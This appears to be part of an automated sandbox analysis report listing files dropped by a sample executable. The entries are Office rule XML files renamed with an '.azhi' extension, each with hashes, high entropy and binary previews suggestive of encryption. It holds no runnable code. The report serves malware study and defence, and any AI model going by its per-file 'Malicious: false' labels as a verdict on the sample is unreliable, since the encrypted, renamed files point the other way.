SHA-512:	69CB9CF8FAFEF4BBEB5B521C8A77468AEAD6A47E39D421AB56CC877564F1723A0AFBE6A7E1247402DF910926818B5FE453C752D64543C91B7BD738F68D723E0C
Malicious:	false
Preview:	<?xml+rK......pM.&.....a..>`zb2Hr..{D.x..z,.9Ot..OY.z..{........@.[Y....$...P[qUK9..5.6.83.o....?zY.ll.78.....>...X!B...C..6/..........$.,..;.I.f.!@{..L>. ...kEbW....hq....p..f....Y....9....6a..c...(.W.R.T.E.M].b.z....:..o...`....XVH.9lp.z#..p...5[...L.pZDG.WE.....s[............T.'8!.>..d1{.;....$F.V#F..E.Ut.#2Z......kT:L.....qp%R....g&..._..4t...s.....K>%...D...A..[.<..Mw..6..H......Vd..>...h]E....h>..e.9>.7.A.a,Sh...z...I.3.9.....n....6..Y.}....} ...1^..~......2Za..S...L,.2...s..gP..Qs..v..7..:Bpnp$.S.{.7..?....<.i.......y...../-.."...C...tX.B..}...=M.^.{hhy..P.K..v.1rBk.y'Z._.&.\.lm].~...bylK.....49....1\|'..<..h.z...4s..8.../p.......R..C.....-........ixx#..}..Yp.w..n.$>(..Jc3...x.v........._I,.uCi.......+..[...j.S....3M>..u.....F..3....v..k.f.C ....$...a.......}.%.y....qZn.,... !.Ip..#j.._..;.J'..q...d\|..jHzx*.}.e.....9...<]y....Z.[...ALcH1..h"+.p.3.g.{.......rT.........t.f4......:.3.jI.\$.=L...R;.o6...a7g.o...[N..=..=..,J+.EJ...

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120600v4.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	3313
Entropy (8bit):	7.9363821609108225
Encrypted:	false
SSDEEP:	96:YlEY1AiH8qIPULgPgeB5pPX1JLn9pgpW1kVXzh4HVdY:YlEY1jH8qIPUcPhVL9XSzYO
MD5:	570E5CF18C10D6C965926A7162005F21
SHA1:	BDD72481DF5B2EF5E332391C2B6712933DDDB420
SHA-256:	19F394DAC2668CFE0999DA87086DDF018681AECAFD6C0283FC634146BBDD7C53
SHA-512:	E6A072FAD2534CEE609B95986278A5581853D9100B3E672CB2381BE6DFF36D51FA3CCDE09192B83028D2AF04EF8E2A824EB89FFA6914CCC8E9563D2D8AD0340C
Malicious:	false
Preview:	<?xml....?..4R...?.7..H(*.....-;;...6.....>k.....t........C......9....t.......d.....=...h.....S.}........\=.f4=.O/.A.O.5.p.........?....:...T.):I~XB.$/\|C.uv .....tT..N....6.r.....bws....h..9...W..o@.........$....K..M..m.Ua.e..+.$."f.C..X...C_.8...1c.......U.@.P...`.$.q.....p)X....VyZQ._E. .].C.......t.n.6....B.N=.X......Nf......_..!x.M....9..l.t.....C......Y.i....#..........$=..r..E..(.+.(....8......04u..IME.@.@..........0.z..0.......?..c`.....?..\|.G....'P.OO%..6.......\:.G.G.z.h_...m\..\.N...^.........M....L.. .-..\|..y...c)@.i5.v...6....%Fu..'f...$.P:.......%.6.H._.J..1...P..e..Z......m1".k. .G>....B.9pk./?....J....kV)...5.YY%C..h..ZX...&..&......Q....R.g.F..i..)...9]....tx.-..0..S..k .X..G../.Jz..H.L.).w.5......6B.E/@Q..PJ...DH..`.o..he.&.".}.....N.{.h.....k#..-.~ .^.....4..{.....er...7.CE....}E...R.I...}%.aj.O.K..K..Z<.!.....P...g86L.!).HMZ....m..@<....,m,.%e.M.d.....U.....fF.z.#..I...E...7.[j.4_./.C.{..FU....`.l.....J2'72....<..

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120601v3.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	3675
Entropy (8bit):	7.951484094194664
Encrypted:	false
SSDEEP:	96:NlqPoqyr/e5td4mzUCtJgISIMYa9FDGEtO1En+u/KON:HTqyWtd4mzUC7gISIMYwA10+u/FN
MD5:	F6E7624E090EBC39A285C7B37B2183DF
SHA1:	5F1AA4ADB0533F2C1D1D2678E87F3A3475B1C1C1
SHA-256:	37175EC346EC12940F64E62A34DB5378BBE19A11D53C11CCDC3BBA9EFC25CB5C
SHA-512:	E2F5E573989DCF872EF261FA2AF611C3CC2F7FC7F79A5572561225382998A2E79C2224A1D436F6FF2DFCBB267FC8906958526B61C22B14468FC0FB773B678723
Malicious:	false
Preview:	<?xml..W........U5..Z...2.....8.M..By..91..J....LV.....DD.....j..D23K....x.)e.\..:..+.iB...._...G...7....;.5.....s..T.....B(S...p../s@.......=.P.H...Oq.c...tK.X...(.aeW.......F.....u..<.?..c.b.....G;y.j..U...=..i....4.....7..G.Q..6.0..R.>.(S2..,E.p...d]....t.GW.`I=Y....e..+.B.....\.7...8.....H\|0.0.C...W^...8..V5:H...B...uw....W.2...I..aJ.i$.V^..27..f. ...gt.(S%n...T)...?...FsI$...X#.2x.>...D#.e..0.;2..76A.r............k./....Vs9?.SA.r...NH.A..../....E......n.....h.~u(......}...c7C...2E....."R..wj_?m....^....AR........r.....D..u....M....3.Z.Z...O.Pb...@.,..4..bi].3_.C!@......c~.....7..}........c+c.QB.-..U.r........e....u..DM.....\|.\|=..}b.h..s..ho.k.#.6\|.e..S.FHI]..6...6...1...@d]kb..N..e..N./....,PR.L<...].4..%.,....>d.s-.)...>ij.,..1CJ.Id.~......e@...\|z...$H..7.5.O.;.[.B.r./....2...&..0..$...Sl.\|=.m..8W......)..r!,.U\|x>..=.1C.....j..f.9........V....^..<....Cu.E-....wQ.d..I.........C.,@n),3.....m@'...[A...E......_.w..6.C9i.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120602v8.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2924
Entropy (8bit):	7.937131986797462
Encrypted:	false
SSDEEP:	48:ztwSqS+Xn/AA8Xv2A20gRJBF1ybch4Fz1BsIZ08D6FietjLzc8u9D:zuSqjXnrqv27BvF1ica14IZ0Ptj0xF
MD5:	C4A73A55776E9A105A03661A6D4F9223
SHA1:	26BC79CE2262502FF196D71451819D25013DC15A
SHA-256:	3820E8A042908C5D797FB56C848AA41BF47CC19FE75D1D7CB91AAB7463D9EF51
SHA-512:	09017D4A06E9C9C2001D2F8AC05DF7A682596E7B0766F2D9662AC8CDB60B12B46F634075C8568A07FEA52346AEDB309020A4DD3BE41F5CC1543B8C38DA4FA749
Malicious:	false
Preview:	<?xml?q..%<D.y....W..H...G...\....Q...:......8v......7"s....W.J:.(j...;?.v_.nIy.wR...1....z........2}].gb...Y..E..,..q.:........@......./c.D4...`.'..?.o...j.c.~D....L..l....TZ....V.....dQh7.&.s.....$..6L..W.eY.>...0!.e..-....35.(.m...\|.N..P..79.4T~i...ic..@Z......8V.......K.........K.L.}a1..........=....:@.S.......].t..xJ.o.^...d..g.p.8-l.dDA<.;..t.y ....Nqc!5AGv..4...25.../.@.wp...94.&?.E...o3.... +W<.t3'..=Vz.~.%0...h.Z.a...#...[n....s..^.r.5Ea.3.O.....&0.`Z.m..............i_......VfPfh...<?[..K.Sr.Sh....>^@I...a.y..H3.6...<Yi...dD.....U....y.(.......p.......A.....-(o.!.Z.Wa..Ua.j... XG....1R..].z<.v..t......P().G.Qr.90.2.R.B`.~.6....D.....>..b..s....O;...........ub...%..%...$..]."*......K.5f.c!.#w....k...a.p.U....s:.....'8.N+.u.{.%C../......B.B..2.F.....V".$U..n.e=..]R!.Ur`.lR~.>....lKy Bu...u.....40>Z/..t.3e.pmm.VW......B...\|8.$R............K..&.....e.7&3xA.S....P.I.."..!.j.<B;.\m.....86."..Ux.\.x....1..)K3E...\|... ..;$.{.%.h`\|

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120603v8.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2461
Entropy (8bit):	7.909112223512625
Encrypted:	false
SSDEEP:	48:UNmoY4In2RwZaiSO6TnO4M9HiHStE3eLmJZqp/dXd7DztD:UNlY4IawZaFO6TnOGHe2qddxDR
MD5:	33ADC3462C6CCDC69FF02DE9E60AD665
SHA1:	10F7B0F7B0D414A8C7315EE8C6B00B1EE61AE290
SHA-256:	FED6D1B8AFD64B848ED9CE8F635A30B92416F20CE86591FEAC887829B84B7A67
SHA-512:	D128196562F543969D420488A21AC1400816AD1454BE590ECAED3A246D80ADA90BC6CA49544551D9AFE2B96F2B78D90456A28298FEEF2DBDD0D4B13C886BEEBF
Malicious:	false
Preview:	<?xml......J...K.u......O.E.F%.U-..<.g...".x"l...V..;T.O..n.1... L..2.W+.<._.D;..?..:k...T.6....\|g...7.OB.......V...D.vH....p.zD...Fw...Y;.......?.:\......P."[........O...w"-p62o...ru5........#B....U}..3>y....2..!.E.W......E.nI....]..h... .I..\<.......\|;...Y""..`0....1y.....V...UfYW..@...(.T....zB.5KMn..Xq...-.e..)7...%?.....xk.%?.\D.f!.y..r+..hHM...;)[..3.S.S.;...yvR..;%.-...S`}.+.F.....8.......Te....brP.7...Dt.(.z.Y....U..Z...~#....5..h.@.....3.wF3M.....r...<..ml.T.M.#o.@.L..>2.$v.Y...u.ed.._]K/..=..)...6-AG.u..............;KR.l.Q..t"...,.......6P4....Z.....4+...d.;.............T&...=.....-.F...e4.v.{v.d..m5.......L.S..`....+i..m....w..Nh....)/.b...h.......W.e........`b.E(`...k...A.cO.....$....b...0P."......SY:?.....=#$..Wk....M..N.. .2....<."...Ua.<..x...I.h.......~.."..3....O@....l-.x..w...V....G........-..NU.f...]Q@h..j..YF.]FOc.Q....T..3.1......Fg....D.i..m..P.'...vK....9..\|.4.v.%.....-...-......0.Z....:..A.]..z.}r..>.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120604v1.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	758
Entropy (8bit):	7.719907600115524
Encrypted:	false
SSDEEP:	12:nAxJa4N/HwI61Xx/Lgby8Y+z+2pZQJEw6yXnJYDX1xtwHN+IRHpugFLiMYcii9a:MX4IuXlLwXGiwTXnm71riNBRHpugVubD
MD5:	E61C3B8D7432ED1964A8C38E30276599
SHA1:	918AC81BAF5B785840F1EBD9332D59C9F448F458
SHA-256:	E45174B51544E6955DB43053EA4CF16EC3CA9D05860F2AA5A4F038077B6B61B9
SHA-512:	55AB7B3BEC0C6F123AC4E397C1DA40EBBA5FF99F507DD538A674E968B0BCF9F181EAA2EA3F224F77D292BA0FF594B3A87E9D022F14ADA316765B45E4DBC2DE1E
Malicious:	false
Preview:	<?xmlwDI".R...+?.a!...W..c....zp9.kn......L...\.=...8.C........H.{.....iQ[.\|..G\!x..s..........{.1...+.......?..l!..a2/.l..D....x.s"..=.(\|...D..z.{..= .P.^.).b..d..5... .6.]N@.x....!.If+nnx....u..5..vd`...~.x..hv.D].i..s....P..5....G..jD@....~.Sl{..N.k.....K/.....'8).....f.8....#tq3..T.EEX.Cz.....]...@..\|b.U.1..."=r]....=g.M./}...@....."/?;.).8....VK^. ;.\.."..a..".F.^H.I..W......3J.O..\|\.0.....du.w..2.hi..s.6.K...O.DY5....../..N+...?.....X.Tb).;...]..Cr(t./...Q.UK..\d..t(..5.b.6....[......Z.5.H..V.A*W.xl...z7.RaP........ ......j......c7...Z{./.7..$.4.....p.&..w. %T.M.\|.............u.....p-nNW..K.dj....zQ^.?......G...'35?....e...nr/...9.0GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120605v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1210
Entropy (8bit):	7.826548692314156
Encrypted:	false
SSDEEP:	24:goFRT1i26GdBnUDcn/sxjaocfqx43TkR2EG5r2vYP9hvFvmH9Rp0JB5j2gYFt1bD:gofAGrzn/A2RRoABnP9hNvkHMF2dflD
MD5:	807F458C84E782BD30512DC69CE3FF66
SHA1:	31EC8771B5C3CE5FAE894F350BD3E2A06DFBAAD8
SHA-256:	5071A5D36B55FA31E3B7F274FC2395E5A05BDB8A5BB28028A4428608964C1321
SHA-512:	77A9DA34A0B96A5416EB36459BD355818597CC564DE622808729A49A6B02C2C6566489CBDC9393270FC2D17FA6CDF77E2A6FD4766789FB580E8650D36145D24E
Malicious:	false
Preview:	<?xml.{h..j..FO#.mP.....HE>............N....3.\|...../..H../......t..X..R....Gp...E8.7...WiG/..?hdI.`.....nF,..!....w..w.Wg..ueTNu.L.U...)16#... ....d.gT..H4Q5=.......!h..F...p.3.a.R..=>.j..M.N.B..o.On..Cx5!H.......,.;..?.b.....^s.h6 .1.jD..@..$J.-$v{..A2.hO$&..d.p...f....M.L....\|GQ.k.2.#:.#e..hx....Q..;.>....0..s.'....(/.p.BUW..i....J...K.....y........rDj.6..T.fLn..d.......s{;.#-....K..U4.....0MuR.pR.Go...A.E^....grQ.\.k.vg.H.g.B.w%...Q....`g....g.....kE.:..Z.dO...A..x........w(..3....R...2}2.S..."..h...Q.zt.2]...6.=.l.O2....b.H...fV.Y.fs83uk.O....K..R.\.....-6.p....T........\|..b...(....._..V....)-Y..G..ekf'p.>So.V.7..%(@,thEx.SZ....W.H...AD...z{. ^.......I..F..*w(c....\|.z.7}i..;...../.I.....:...k...)\.....O.N....X...r.(..T....S.@...m..J~~,.o._21..`.%>.C.\....H.. ..!...^f)s.y.M.......M.r.\|.m.].....o}.n.c.vf..^...`."!.%.p6B...<..K.x......aN.H. w..vK..D.g..a6..M..UE.........QN..\|..D..Ib.W.Q....BA..e\.YW....q......x...G..h.p..p.Mn...cC...y8

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120607v1.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	537
Entropy (8bit):	7.551996808271407
Encrypted:	false
SSDEEP:	12:EgRsaVOYTLLKiYJARYElUb2GA9VXS+LKYcii9a:EclSXjb2G+B7bD
MD5:	6A40E9FAEF3DA7BC46241834E6A69261
SHA1:	A47C9B98EADCF7A1E54ED18A37FCD132580C7F5E
SHA-256:	B546EAF59BA20667BF0386F72893110CD1F56930FB1795F10E52274DDBE5A72F
SHA-512:	32036AE3E0235929CFB9A2CDEE9D91B11D3996CBFB1DE844D89097CD18BF63FECC7A0F860C3EF5D3D964DB97734AD4A089B290E7E4CB6FF627641528C39AD6D1
Malicious:	false
Preview:	<?xml.$.OQ..jU.u.0.5.....k...... S...+..K.....Y.....L/.t`_...t.#..\T.._....Wg=..l.<.[......A.9..a.]..<.......;.K..c.>Y04..U6/1..=>......N..yy.e.f.2x:./pS.......]K.PS7It=...W.v......e..&r...i..$...+)......k[..?.....7.q...R\|r....3..i~../.u.......yK.?t.'...........'b\|W..St.i.....}.*...`;&yDV:.n7(k..y.y....].p.....4.w@......R.j=...7H..\|...D...tS.@..i...7D.k...Sb.z^...X...S.-.R.{...+'0.Y$k.{72L~s..\|...7....o..F...a.M.&'U.[.c....\|D.&...uLGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120608v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2493
Entropy (8bit):	7.921100838143838
Encrypted:	false
SSDEEP:	48:ydumvMGsWjHF4UyDxvnUz64C7kE+r3qEEi2aoSnPeP+LQaD:4M87GnUqS3qENSuPePAQy
MD5:	ECF54947E9669120D5FDFBA190BC4549
SHA1:	BEE80F2A4B7D79BCC0C89AEBF15517188FED8CA2
SHA-256:	96B2B90C3E7C6AA31F1BB6E0072FDD7921F7D9985D9BFD109826FF69ECBD4DCD
SHA-512:	260C95BDF7B4B19C61F8CBA781262CEDC19213FADE81A4671E5622289C290F9E9E24444A66B8A1700A1CF5CAEDE048177510AD170123797864E8B64EE5C6B267
Malicious:	false
Preview:	<?xml.....6.F_hE.\wbk.E.a.'U+...........o.${...?.F..:..e.....].piE.&07...zb...K....2....iW._.....9.!....X....b.j.sE.....R.\|...}....$......`.,IpC[.P.n.E"..+&.[.+..2B..,.9......W4..],N$.K...0=.K.z.VF..o...geV...dK?.@x6.M.>......Q.....@m.`.r....`.+../..z.II....c\|.C...dn....x..PeR...\|....e...-.[..5.-..\#...`..".1.......fE......X..V..w.--..tu.\|....9XV..E.sB?..(.P.d.2./f....'.k.....We..9k.`.U...n.a.Y:~.zM.1.;.8...b..r.;D.(.j..9..^...e.h$...'...y.m..!xajR.\..@..._..3.....3c.@..$...h...+...w.vQT../.. pV<......{A..:....p.,9.(.H...v.bcJ.....@./....W.hHC.q....K...j6..@....[...f............`[.h.1S3.O.d..8...5....F./.l.........J....a..;n.q.....BQ..f.....9&v.;.v..._..Ne\|......C..0....-d!..../hl.j..Z.nZ..\..a...AB..k`...Y.P...T"...Ki[...?....._..(Zy3..C.[.F.Y....SE..5.^,.Z@..O"5+N..,...Z...i..TFu=.k..j._....8...=...o..wb.x.Q.....`...SD...oE.&OI.m....d..#..1Y..7:s.Z..#..VT..s..\|z`..\...*....\..oe..+....<.0N ..N.E..ro..:i...LZ.t.....a.TY!V]

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120609v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.706204385531518
Encrypted:	false
SSDEEP:	12:PYKLjHiIyuIag1DfdKOeDaiHQdqcvsda9eAG1pH1h3lpYMESPQBmMnT7e1ZS8GA8:PLcJP0OMQdMa9IxtbYMEvmsTSHStPbD
MD5:	948F6AF90481CF18A9421A9F464BA742
SHA1:	BD8D3CEDD35A65DA0ABF804B43066473F250178E
SHA-256:	060A022C6F80C375C133DEDB2F9E1B8EC585D4D46AF4A81A614D93B0308875B2
SHA-512:	4CA46A213536A0B56DA584072B220DEBB4FEADD23F22BE894A39B3DE4B18C76405908AFA5976683A2D5D8D1C1C1A6E3A9885115A77B099D76A0B714C58325D47
Malicious:	false
Preview:	<?xml..4.....1.3h...-.n:cOo..).#oUasW..o...a\|.....A.S.f,.j#.....h}.>...d....c.....Hh#..,.i.....V.ih..<i.W\|...]C.......+....#L.R+..\|.,%.$. M#..X.WU.j.jL.#r.2..E.V".#.W&.X4t!(^....>..9.at........8u..9.l.y...>..4r...........o.(.U.c+.E.f5"w...0e.Y-.s.J.,..r...mb..p..X'9"....@.[..y.>.....3kHK...^r...1.i...{..j{....3..wU^..J.cj....?.:.%....-...)d..4..O..).}..j.G...h.UTuF2l...5k...i.0.&...#IY(......yX.c:6D.;..\^.2.....;.....}.......U.^2J...($ 8{....AX.6.R.?x..;%R^s.X......`..".MAgi.G..:.].;v.d.%.x..jAC...)[.vb..........^.=yv/..L.^.@..V..@h.t.....<.O.*.........O..e....^.!.s.....S....&.........B?B....AQu....2...]....L..X.UD.T.......GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120610v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.742563219386012
Encrypted:	false
SSDEEP:	24:helMLGVtUtymHN9vPW3GbRzPX0MCG9m+WibD:helkpPnjZPXKGo+WwD
MD5:	D52241ACF96EC741B1A8F00FF612F012
SHA1:	EBD8A7A0CD46DB09F202B03ADD5E3FB7EBF25AC0
SHA-256:	054A032FCC85E31729166DC3CA467120AA0067351982E9126B6C174D0DCC2F87
SHA-512:	D2696996737FD1AA738F75755353A15B0C53E954FD4997C33B577848BBD1C0DD10351284A313D019E710A3D3818C8E6E9BE0BF5025E724135D75171C8D0F6B38
Malicious:	false
Preview:	<?xml@O.N...f#..0.\|. .vNN{#..a..$.9......:...5s..lg..($...G.o`.:.eY+\<..A........r.....8.6vo..1a.s..x..`.....oZ...]. ...1:...S..7.4+..Z....8h,@...c0a...Y=.....TF...........7..l.e..J.^f.hd.d..=..Z[..G)u{$.O?._.L..x7R....C...y.D...).#W....5...2g.9......^..g..$........I.Z0:....e..ltz'.d./... }..{..../..n..C.m[..qRI...<).....m....].W..5..ZH...A..U.R;J..G...&..Q.}e...5..z.J.-.....g..$<..`8.7...5......i.Oj..6..[m..~N.......3..iFZ..F..3'...23......@.hu...t->.... .{h..D...0.Q..z...z.....~..D.9..IU......b40.\|A..'...B...c.6n;3..Q...<.e.* 8..../........V.o.EB.?/r..v:.9.hX......G....=..ca.tP....8..&K..Xk.....U!.x...=...x.~.s...k{W.Wu.......ln$x...{.9.^vqO-K....S..5.tz=\|.b..7&..j...GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120611v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.710596062380891
Encrypted:	false
SSDEEP:	12:2eMT74+HKmYfMFEL74z+MjIYlmqHiIWgxzlaz4hCMC8i5n0DKYcii9a:28+HWkF64qMNmqHDWWs4C8i5EbD
MD5:	DE82CAC1F75D1E02EC2DA4718E083F7B
SHA1:	EBD3A02961AEA4CBEC8541ED577D029433809572
SHA-256:	8ED8178DEF5F134E94060FF0C8FCB5AEC5163C7369E2D8BA243BBBFD9BF52D56
SHA-512:	9114C1A3585164F1BAB444BEB3163FE1494FFDDFACE8FC2C2BF91F267A04E46D4FE131B446B7F0B0C688AA1E51DB5398452D39266BE8BC66D5E81FB184CCC3F6
Malicious:	false
Preview:	<?xml.Dr`.?.6..h".}..[.z%.Mb*..4.!..:.....cP...I..[z...5..3.S3..F..T....M'...._Q.F....,w..&....b4..qP..#QQ..".O../6.....,#..)....ee7......!...... .O...b.....h.-s..D..0.\|.w'k....Xb.).......T../..J.N!./6.7.b....[5./.Ri..U......[Hi./.IK\|.]......zD.0..B3.....MZ..S.T...C._#..0.F.h.A.......5.8.....z....`...v-.........<.-.....wW.7...`....hZ.&..V&Zf.!R..Y.A!..a.........3=..\/.../.9.{\|..Z.,.....A..Kg..p..bY....h.!i.-E.uI.:..[.u.$..~.A]'rc....)j.X.8.+.]u.F.......3.S.....n.d."..H......(.g..4. ...........'.H3X."..l'.$.rb.p..m.-_P#D/...y..........9.!......X..A.,S cu.kG}q../X.B...;.)....:].......@..q\!.8.....n.....~B.E...%...../C.;...GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120612v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.695889860915797
Encrypted:	false
SSDEEP:	24:DRZYvbvc8pruG8Ojok/EyFfQ02JiVottmmbD:D98puGN1EsfQIVstm0D
MD5:	7C9C0CC752BBE2554EA09A520CCC1605
SHA1:	D8B02FAC9FA2DB6D558176C40E23706E4B4F16DB
SHA-256:	6ECF6E4FA66697A362B96306A06A3222E50DA54911B09448D650ECB218886F1D
SHA-512:	B626E8DE8933997BF09E96BBD1AC00B03DE8C98265ACB1CFF2E504ED12AA7042D6AC45190881F5EA3E9EBF22B84FFC92B8F91E3FEA836990CEC3F99A33AA91A6
Malicious:	false
Preview:	<?xml;.z..l.....m.....Y.1}.......t.Vn..^.wW..k.._.%....8}.H.<..o].-mlQ../..Y(.......M..0qtP....df....B.k....d...1~.97.2...F.p..}.\..p..(.X.).~..._.e...^..3.%.......j....{I.T.C..y.]....2{zFoU2Z.B.9..~....!P..k[......[...&.Slk:S...6.h.A..42..{..@jK...inj.....R.......j.y..m..3....E.....JV'U..5t./XrA...p.\)gG.....}.A..{..v.F...\Q......f.DpB..4..~.o...{......A..!R..".t..F...@..G1y.m...w.9....([.^.......E..........v.&.i....Fa.<.H..}[.o...`.j{X...{0.#.B......&.6.......pS..Y @D.ui...{..m...9.,...v......P...O.$z.#..(g.....T...Gt...4?...8.@:.X.Nd..!".0..j....E.+..(Q..{oGI.W..g&..X.M0.bI....LC...s.:.6...+..6..V..O...j1........D7.....7..G.....unB.i......`.X.=3?.B...gV&o.V...@h..M.....,.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120613v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	965
Entropy (8bit):	7.7615058807536315
Encrypted:	false
SSDEEP:	24:+pZJiJvmeuli2VeOAwUAXwQCajiiOZQb9lmjt56UXs1C41NbD:nWlxVexQClBZio76UWC4rD
MD5:	8C568FDCFB772D83E37EFC72913BD06B
SHA1:	966740FC5A54F8B3BE504A32246C4381C05CD4D9
SHA-256:	2C893C661E82DC61DF09887B03995D1D9910C477F1C7F8E704FF1106F0E96874
SHA-512:	F5B465402722218FBE26123F6DD252CBE56B676212D7E81840DC21E6184FD6062E7FEA246BC88C338C644B9CE61A08CA8B1C57570CACFC9E8B9663DC920B39D7
Malicious:	false
Preview:	<?xml....>.....2s!D=..5F.5.93...>.@$.....`v]yKy..;...zT..Jk@..[.q...........V...."..S......{....$...8..O.......(1,...`.X."f....sW.V5.H...J..U....6g.G.n.....`.F...Z....I.$.._.zq.\ki..x.(y.1..$N....q....Y@=t.e..K.L...[0C.(.S{..OZx.%Y.[\U.cQ.6.5...w..v`q.1....8.{\}...g...@..Y...D...L.N......9<........my.......%X...4W._...Ajl. ....X.P8.e...8.H.?.N....ga.../......Z..d......H.X-Z0.7(_....c...p..]....e.a-...D..\a5........gE!.Bf......D...w&C.'.....m....F.B.....7..r.EwG....i...l.Rd...<.5)....Fy....B0..#..'`..c.v\3.E1.e.m..x..C..Uh..V..3...m..m./.fH.).^Xmob....L$..{...\...$p@`.]...%.?G)?...a..."*;.N9y.....k.#.]...8..<..9...7..j..7.M.....;...D....^..K.[...}.u.F.uu.....I..\|1.J.p...^(B..g.5...V...w.M.^....s&.!..k._..W.} ..p.O..2.K.56H...V_M\|.v....d......@1.:..CqkJ....6..3/t..u._..h.2.....7\.."..,T...k.x...H.a<.g................G2k...B. .}GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120614v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	800
Entropy (8bit):	7.734858657900286
Encrypted:	false
SSDEEP:	24:3cF3BCmt4TfMXrbEB8oj+i/RZ8Zyp7+0ibD:3clBC8OMvE8gkZJ0wD
MD5:	13750D04043AB43A352DA5B43D9523C4
SHA1:	CDD15D066CCCD97B002B50E2A4D93E5F027DB540
SHA-256:	85AD9062EAF39D0C8462591920FFBCDFEF6067ED60CB485DA46CF2172238CF0D
SHA-512:	3F796D62C114AD528A72312D567C8919293902CA4CC4B52F61100CC699E657BD1F64345D97645D8BC90CA93443CE0802BC20DB9C579C76EF45E01B2E5FAD9B7C
Malicious:	false
Preview:	<?xmlWI...8.+@\|...p.....J..GT!..[.k\|.BA..yVoh..w.a...K...c6;xrfJ.{.............W'...f...R.. ../+P.;.....d..}).L.H@...'..N......F.}..D.p..Q .L..mu....\Y5..W)@.E<..-..$...u.11.5eA..qH.\|.~ra.FS.z...?pn.vq.P..k.s-........@../....f/..-}.HZ.......^'.r..ik.J>.F.WTi....'5gs.F..Y..4+..lQI..5.. I..V....._iuu-...8....Er,.....G.f^..u...%..T'....r5.L..o..d.p~....h...m..m.."W(...!..l....+....@.*.?........1=:.......=..:XzCZ6.?.`..`J.C.S.....V.`X...e..%.'wM.......3...}k..\.(....-9 ..[vQ.?.O.y.....M..1.....Jj..Y.!tH..S..c....M..U..PZ..`(e..f..q.W.....y...ay..qZK.-.%.......2...-@..z.......v....g....y.44....l.......s..pt.(.u]..y..=X.a......7$k..hP..R.=..u\.9O.\|.c..C..v.H\.(.;~._..>...0T..b0..8.Wc....dGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120615v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.716502000877875
Encrypted:	false
